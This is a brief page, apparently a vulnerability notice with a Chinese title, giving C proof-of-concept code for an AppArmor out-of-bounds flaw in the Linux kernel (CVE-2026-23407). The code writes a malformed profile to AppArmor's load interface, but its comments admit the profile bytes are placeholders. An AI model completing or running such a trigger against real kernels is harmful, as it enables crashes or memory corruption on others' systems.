Linux内核AppArmor越界读写漏洞(CVE-2026-23407)

/* * PoC for CVE-2026-23407 * This is a conceptual trigger. The actual exploit requires crafting * a specific AppArmor binary profile format with a malformed * DEFAULT_TABLE to bypass the incomplete bounds check. * * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define APPARMOR_LOAD_PATH "/sys/kernel/security/apparmor/.load" int main() { int fd; // Malformed binary data representing a DFA with invalid DEFAULT_TABLE entries // The exact bytes would need to be reverse-engineered from the kernel source. unsigned char malformed_profile[] = { 0xAA, 0xAA, 0x01, 0x00, /* Header placeholder */ /* ... Insert crafted DFA tables here ... */ 0xFF, 0xFF, 0xFF, 0xFF /* Trigger DEFAULT_TABLE[j] >= state_count */ }; size_t len = sizeof(malformed_profile); printf("[*] Attempting to load malformed AppArmor profile...\n"); fd = open(APPARMOR_LOAD_PATH, O_WRONLY); if (fd < 0) { perror("[-] Failed to open AppArmor load interface (needs root or CAP_MAC_ADMIN)"); return 1; } if (write(fd, malformed_profile, len) != len) { perror("[-] Write failed"); close(fd); return 1; } close(fd); printf("[+] Payload sent. Check kernel logs for KASAN report.\n"); return 0; }